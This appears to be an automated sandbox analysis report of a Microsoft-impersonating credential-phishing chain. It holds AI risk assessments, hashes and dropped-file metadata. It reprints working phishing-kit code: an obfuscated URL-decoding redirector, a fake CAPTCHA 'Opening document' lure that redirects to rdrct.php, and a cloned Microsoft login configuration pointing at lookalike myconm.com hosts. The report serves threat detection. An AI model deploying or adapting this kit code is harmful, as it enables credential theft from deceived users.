is\x20not\x20defined.','sBHdt','Cannot\x20convert\x20a\x20Symbol\x20value\x20to\x20a\x20string','JImjD','port1','getOwnPropertySymbols','initialTeardown','Mfloa','EccYz','all','HXwLE','__proto__','appendChild','BxCyS','[object\x20','hasOwnProperty','removeChild','DPfYJ','sFvLp','url','facade','item','lGzcB','qyxFv','fIiYv','document.F=Object','YedJm','observed','mzheo','from','onerror','resolve','\x20where\x20a\x20stream\x20was\x20expected.\x20You\x20can\x20provide\x20an\x20Observable,\x20Promise,\x20ReadableStream,\x20Array,\x20AsyncIterable,\x20or\x20Iterable.','work',
URL: https://offcap.myconm.com/?qe=3RVg... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "Script shows multiple high-risk indicators: heavy obfuscation (encoded strings, unusual variable names), suspicious DOM manipulation patterns (multiple selectors for ad/tracking elements), and potential fingerprinting behavior (checking for browser features and user agent). Contains references to tracking, advertising, and potentially sensitive browser APIs." }
function a0Z4(){var Rj=['LoDLc','offsetWidth','qypte','context','ignoreCase','\x0auserAgent:\x20','devicePosture','unsupported','msSaveBlob','','mozFullScreenElement','FPDkd','gqGEJ','evenodd','search','','getTextInformation','Symbol(','version','plugins','DIALOG','then','samsungAr','getSupportedExtensions','sort','TNhXz','TABLE[width=\x22140px\x22]','mquvf','\x09\x0a\x0b\x0c\x0d\x20\u00a0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029\ufeff','resolvedOptions','Promise\x20can\x27t\x20be\x20resolved\x20itself','["63253231697e253746757e4", "825334430726d6d6c652537", "4633777a6a7225374325374", "2316e747230477e6c472533", "43253542253542652532303", "7253231253239376e393630", "63253344253345343663622", "53344322533422533436b25", "33453425334162642533442", "5334232696d692533442533", "466b652536303238642f253", "3412e2d6b37253341326a65", "31253345253344352533453", "2366230253346696c38336d", "33392533452536303234253", "3456f253343253341253342", "2532412533422532317e253", "744786c2533412e2d4c4650", "38582535452f36253233253", "2427a632536306f2537466e", "2537446e7a2532313525323", "22d6925374667746e253746", "25323933253233253241706", "c766e7768732537422d3525", "32372532392536302535426", "2756f716c2537432537426d", "4a4d4a64253544692536307", "22537436f68253746253230", "2533412532332f686677705", "06c766e7768732537422d35", "25323725323925363025374", "262756f716c253743253742", "25323037253231253239642", "53630253746626f6e253744", "6c25374263702536307e687", "96a7473626871253242352e", "253230253630626b796a7e6", "2253746616e253746253630", "7a73622537446a253239372", "53234253231626178686f62", "706a2537426a79253630697", "5253630767e642537446325", "32303725323125323964253", "63025374262756f716c2537", "432537426d6e25374266737", "e65736c253243372532352f", "6d6d69796b796a7e6225374", "6616e2537462536307a7362", "2537446a253239372532342", "5323162616f253742687463", "253744627a75787a6e71726", "e692f2533412e2d62642537", "436e6a632537466b7968253", "7466d73717a79667374626d", "253243372532352f6d6d253", "7436c736a716d7274617e77", "7a706f73716a6b2d302f2f6", "12536306f7962706a253742", "6a79253630792537447a253", "74362757163622d35253237", "25323925363067746c6c6f2", "53742687463253744627868", "2537446d253746253744616", "97873612532303725323125", "3239686270253742516a627", "72537442537442537422d35", "25323725323925363074672", "53630702537467674253230", "2533412532332f776f62767", "372772d3125323125323065", "6e253744496625374678622", "537462537422d3125323125", "3230556e6f58746c7362253", "744253243372532352f2535", "422537442543322538355a6", "a6925354377253630766f25", "3746253242352e253230253", "5436c767a6e767325374377", "2d253630333538353232303", "3313732393734353337"]','#adblock-honeypot','YrDxS','azxST','groups','aylUH','YVjpt','[data-cypress=\x22soft-push-notification-modal\x22]','gclht','.navigate-to-top','Meiryo\x20UI','getStorageUpdates','navigator','Haettenschweiler','cssText','startRendering','.lapni-pop-over','return\x20(function()\x20','construct','','11pt\x20\x22Times\x20New\x20Roman\x22','UUiXJ','mediaSession','xMoyD','DENO','permission',']+$','#SSpotIMPopSlider','2568310JPNQfO','send','undefined','DOMRectList','Error:\x20data\x20is\x20missing','toStringTag','fZgzK','ZGcTb','msIndexedDB','','RegExp','ECWPK','value','multiply','amp-embed[type=\x2224smi\x22]','trim','getParameter','charCodeAt','vUsyc','__edgeTrackingPreventionStatistics','globalCompositeOperation','2139606TvLsog','tail','(min-monochrome:\x200)','IQMdf','msWriteProfilerMark','window','__core-js_shared__','String','dtDzj','document.F=Object','deg)','','Univers\x20CE\x2055\x20Medium','CboXe','protocol','aoiFC','bind','VwKwP','','write','hidden','webkitTemporaryStorage','message','AsyncGeneratorFunction','(((.+)+)+)+$','add','method','(inverted-colors:\x20','','class','language','display','something','GuWlx','@@iterator','script','NaN','slice','defineProperties','div[class^=\x22app_gdpr\x22]','.revenue_unit_item.dable','rect','QByzJ','delayFall
URL: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20= Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is a well-known global technology company.", "The URL 'ameninternazionale.org' does not match the legitimate domain 'microsoft.com'.", "The domain 'ameninternazionale.org' does not have any obvious connection to Microsoft.", "The URL does not contain any recognizable elements related to Microsoft, which is suspicious.", "The use of a completely different domain name suggests a potential phishing attempt." ], "riskscore": 9} Google indexed: True
URL: ameninternazionale.org Brands: Microsoft Input Fields: unknown
URL: https://offcap.myconm.com/?qe=3RVg... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High risk due to multiple suspicious indicators: 1) Uses suspicious non-standard domains (myconm.com) masquerading as Microsoft domains 2) Contains obfuscated URLs and tokens 3) Appears to be a phishing attempt mimicking Microsoft login infrastructure 4) Contains data collection endpoints for potential credential harvesting" }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://6d700e25-0e591a27.myconm.com/shared/1.0/","urlDefaultFavicon":"https://6d700e25-0e591a27.myconm.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/login.srf?qe=3RVg\u0026client-request-id=b3ed4bcf-2c15-422d-b605-7ad13d31cdf8\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://offcap.myconm.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://43be2b6a-0e591a27.myconm.com/{0}/winauth/sso?client-request-id=b3ed4bcf-2c15-422d-b605-7ad13d31cdf8","iwaSsoProbeUrlFormat":"https://43be2b6a-0e591a27.myconm.com/{0}/winauth/ssoprobe?client-request-id=b3ed4bcf-2c15-422d-b605-7ad13d31cdf8","iwaIFrameUrlFormat":"https://43be2b6a-0e591a27.myconm.com/{0}/winauth/iframe?client-request-id=b3ed4bcf-2c15-422d-b605-7ad13d31cdf8\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://43be2b6a-0e591a27.myconm.com/common/winauth/sso/edgeredirect?client-request-id=b3ed4bcf-2c15-422d-b605-7ad13d31cdf8\u0026origin=login.microsoftonline.com\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"scid":2001,"hpgact":2101,"hpgid":6,"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe2QQKOrn6BLN0qO__7QIWSZ6QXLOw8dXq5N3UvbDLQ8hE-NT2Ny1tgrijQ1dkhMuz7xI1eQNlVghXW22fhSEKtcZwSPPFTrG2auo5jwcqdUSjcmzrhAjwvPtHX-tYsCkthOBjPR6gbPzR4YYoJ27OKI5rpPHpH59I1Jd3Re4jRtXcgGgr5Gpthu7k2k0k6bRhvsFdRVRR4HtYw126FDQvXiAA","canary":"qBpOWjXf1+6M4j654IiusHqhXXG+026wdAdNMI75a4o=0:1:CANARY:eeZamSGGrw/nq8oa0R9ZzNxon0GIfEqUNi5ruDYGI/I=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"b3ed4bcf-2c15-422d-b605-7ad13d31cdf8","sessionId":"42a2f706-b0ce-47f8-a17d-3e948dd91500","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://offcap.myconm.com/common/instrumentation/reportpageload","dssostatus":"https://offcap.myconm.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Chrome":1,"_Win":1,"_M117":1,"_D0":1,"Full":1,"Win81":1,"RE_WebKit":1,"b":{"name":"Chrome","major":117,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"117.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://6d700e25-0e591a27.myconm.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js","sbundle":"https://6d700e25-0e591a27.myconm.com/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://6d700e25-0e591a27.myconm.com/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://offcap.myconm.com","https://cd092d4c
URL: https://offcap.myconm.com/?qe=3RVg&sso_reload=true Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://sphexams.com/.well-know/?0s57db=MTMmMTMmMT... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script that uses multiple layers of obfuscation (base64, URL encoding, character manipulation, string reversal) to decode and execute potentially malicious content. It can either redirect to a decoded URL or inject arbitrary HTML via document.write(). The use of multiple encoding layers is a common malware technique to evade detection." }
!function() { function e(e) { return decodeURIComponent(Array.prototype.map.call(atob(e), function(e) { return "%" + ("00" + e.charCodeAt(0).toString(16)).slice(-2) }).join("")) } function n(e) { return String.fromCharCode(...e.split("").map(e => e.charCodeAt(0) - 1)) } function t(e) { return e.split("").reverse().join("") } function o(e) { try { return new URL(e), !0 } catch { return !1 } } var r = window.location.search.substring(1); if (r) { var c = r.split("=")[1] , i = e(c) , l = n(i) , a = t(l) , u = decodeURIComponent(a); o(u) ? window.location.replace(u) : document.write(u) } else window.location.replace(atob("")) }();
URL: https://offcap.myconm.com/?qe=3RVg&sso_reload=true Model: Joe Sandbox AI	{ "brands": [ "unknown" ] }
	{ "brands": [ "unknown" ] }
URL: https://ameninternazionale.org/.well-know/cd/re/#h... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "Script shows suspicious behavior with delayed DOM manipulation and authentication flow. Uses setTimeout for staged changes, potentially misleading user messages about authentication, and leads to an undefined 'get()' function call. While it includes legitimate reCAPTCHA validation, the subsequent behavior pattern is consistent with potential social engineering or phishing attempts." }
$("#btn-validate").click(function(){var e=$("#recaptcha"),o=turnstile.getResponse();o===undefined?($("#WrongCaptchaError").text("CAPTCHA is mandatory.").show(),turnstile.reset(),e.hasClass("error")\|\|e.addClass("error")):(document.getElementById("section").innerHTML='<p id="text" style=\'color: #7b7b7b;font-weight: 600;margin-top: 20px;font-size: 18px; font-family: "Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";\'>Opening document. Please wait...</p>',setTimeout(function(){document.getElementById("text").innerHTML="<span style='color: red;font-weight: 400;'>Authentication required. Requesting the login form.</span>"},3e3),setTimeout(function(){get()},5e3))});
URL: https://ameninternazionale.org/.well-know/cd/re/#h... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High-risk script showing multiple suspicious behaviors: 1) Uses obfuscated function names (_0x5a2b, _0x6b4d, etc.), 2) Implements base64 encoding/decoding potentially to hide malicious payloads, 3) Extracts and processes URL hash parameters which could contain encoded malicious content, 4) Uses deceptive UI messages suggesting document opening but redirects to potential phishing endpoint, 5) Implements delayed redirects through rdrct.php which could be used for phishing or malware distribution. The presence of CAPTCHA validation appears to legitimize malicious activity." }
function _0x5a2b(_0x1e3c) { try { return btoa(atob(_0x1e3c)) === _0x1e3c; } catch (_0x4d5f) { return false; } } function _0x6b4d(_0x7f8e) { if (_0x5a2b(_0x7f8e)) { return atob(_0x7f8e); } return _0x7f8e; } function _0x2c3d() { var _0x8f9a = window.location.hash; if (_0x8f9a) { var _0x1b2c = _0x8f9a.split("#")[1]; var _0x3d4e = _0x6b4d(_0x1b2c); return _0x3d4e; } return ''; } document.addEventListener("DOMContentLoaded", function() { var _0x4d5f8 = document.getElementById("btn-validate"); if (_0x4d5f8) { _0x4d5f8.addEventListener("click", function() { var _0x1a2b3 = $("#recaptcha"), _0x2b3c4 = turnstile.getResponse(); if (_0x2b3c4 === undefined) { $("#WrongCaptchaError").text("CAPTCHA is mandatory.").show(); turnstile.reset(); if (!_0x1a2b3.hasClass("error")) { _0x1a2b3.addClass("error"); } } else { document.getElementById("section").innerHTML = '<p id="text" style=\'color: #7b7b7b;font-weight: 600;margin-top: 20px;font-size: 18px; font-family: "Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";\'>Opening document. Please wait...</p>'; setTimeout(function() { document.getElementById("text").innerHTML = "<span style='color: red;font-weight: 400;'>Authentication required. Requesting the login form.</span>"; }, 3000); setTimeout(function() { var code = _0x2c3d(); $.ajax({ url: 'sts.php', method: 'GET', success: function(data) { if (data === 'ok') { window.location.href = 'rdrct.php?code=' + encodeURIComponent(code); } else { document.getElementById("text").innerHTML = 'Failed to validate CAPTCHA.'; } }, error: function() { document.getElementById("text").innerHTML = 'Failed to validate CAPTCHA.'; } }); }, 5000); } }); } });
URL: https://offcap.myconm.com/?qe=3RVg&sso_reload=true Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "bab" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://offcap.myconm.com/?qe=3RVg&sso_reload=true Model: Joe Sandbox AI	```json{ "legit_domain": "myconm.com", "classification": "unknown", "reasons": [ "The brand is marked as 'unknown', and no specific brand is identified from the URL.", "The domain 'myconm.com' does not match any well-known or known brand domains.", "The URL 'offcap.myconm.com' includes a subdomain 'offcap', which could be legitimate or a tactic to mislead users.", "The domain 'myconm.com' does not appear to be associated with any recognized brand, making it difficult to verify its legitimacy.", "The presence of input fields for Email, phone, or Skype is common in phishing sites to collect sensitive information." ], "riskscore": 7}
URL: offcap.myconm.com Brands: unknown Input Fields: Email, phone, or Skype
URL: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2ms Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://offcap.myconm.com/?qe=3RVg&sso_reload=true Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2ms Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2ms Model: Joe Sandbox AI	```json{ "legit_domain": "unknown", "classification": "unknown", "reasons": [ "The URL 'l1ve.myconm.com' does not clearly associate with any well-known or known brand.", "The domain 'myconm.com' is not recognized as a legitimate domain for any known brand.", "The use of 'l1ve' instead of 'live' could indicate a misspelling, which is a common phishing tactic.", "The brand is listed as 'u', which does not provide any clear association with a known brand.", "The presence of a password input field without clear brand association increases suspicion." ], "riskscore": 8}
URL: l1ve.myconm.com Brands: u Input Fields: Password

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 16:41:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.992662948037325
Encrypted:	false
SSDEEP:	48:8Jnd9Tq73vHXidAKZdA1JehwiZUklqehN5y+3:8JLkd05y
MD5:	20C705993E5B0D4710DD77480B0D0BF7
SHA1:	E18EB0190743EA7FD44F79CC83BC008E673E1BC0
SHA-256:	2B192E258EB416CB0AB3F293B34B9D72507304DF8D16D834A028C23EB89EF1BE
SHA-512:	2EDF4EB8F781FC18E24A510D1CEC2FC17EFFA99560B6AE4EAD08A75B53BB0D31222EB23BBFA4EC966B9367FF34F33CEA1C7E51D1A72305F7C057390BE700D62B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....:..aJ......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y'.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y'.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y'............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y)............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........~..(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 16:41:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.0076638698982965
Encrypted:	false
SSDEEP:	48:8Hnd9Tq73vHXidAKZdA10eh/iZUkAQkqehk5y+2:8HLkH9Q35y
MD5:	E2158F2FF37243C9A2D47BE657622322
SHA1:	EBDDE742BDB357364624A37D0DF6C466C764A7DD
SHA-256:	5CBF2BB8C453DA2EB75B8D539BC3A3E6909ECB1CF037DA2E62741B70CBA8001A
SHA-512:	963757B78A44EAEB5099466393B7A112EEB76B8755CE9404FCD3E70E4EC480C2CED9652ECA24D72DC41DADC06EA8F60645D681249DEEA46F0FEB11879BB9C857
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....03.aJ......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y'.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y'.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y'............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y)............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........~..(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.019692027355076
Encrypted:	false
SSDEEP:	48:8end9Tq73jHXidAKZdA14tIeh7sFiZUkmgqeh7sW5y+BX:8eLkLn45y
MD5:	5BEBA52C5E5B8A935671003AD5101D04
SHA1:	73791CEA445650C218BA72ECA48BCD0095638C18
SHA-256:	7C6FB4A2B53542A85351B94DF9BE028CCD9711032D60FF305428F2DBBB22C68F
SHA-512:	D3F1A43CCCAF4E28C7250B1B5BE46FC71D2A6AB9B80E05CD720F9B37C0373CE9F04DCBF36C157723614C648A621493A40C6D834FC95F603F1D84AC68744BAEB8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y'.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y'.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y'............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........~..(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 16:41:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.004052882851721
Encrypted:	false
SSDEEP:	48:85nd9Tq73vHXidAKZdA1behDiZUkwqehA5y+R:85LkUe5y
MD5:	A82F45A998C293B038645C59FFC3D385
SHA1:	68CE7F40C6F1562E68A712B05B6A9108BB95B67C
SHA-256:	237A85EF5F198C94948050873427D0D009169E4792E7F30A7D896BDA9A65FC53
SHA-512:	B11DF868AAC05DCA5A9C791B0C132DF9C58D16FB8ECC24ED2FECDDEBF42A19993743E021B03D8CBD120A3EE3EC622AE8C1A28513A6B925655F7E6C5717778DBE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....l\..aJ......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y'.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y'.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y'............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y)............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........~..(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 16:41:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.997301500079481
Encrypted:	false
SSDEEP:	48:8+gnd9Tq73vHXidAKZdA1VehBiZUk1W1qeh65y+C:81LkU9a5y
MD5:	81DA4BA9DCF9177698C86B1AE54D8BCF
SHA1:	853E7491651C4538C72DF781BFD73CFD86BDDEF4
SHA-256:	B63941C560CB0AD1A0B5FFAB5C0DA411606613B6C9CA84F434EB6A5F59A4EDBE
SHA-512:	D70CF297C3C4D4CCF707B208ADC36293DA03D96387CBE74612FA3207F824BF55000D667AE32FF02E618D0CE4B3E9082BDF686A8622F18AA45EEE4E4ABE3ABB63
Malicious:	false
Reputation:	low
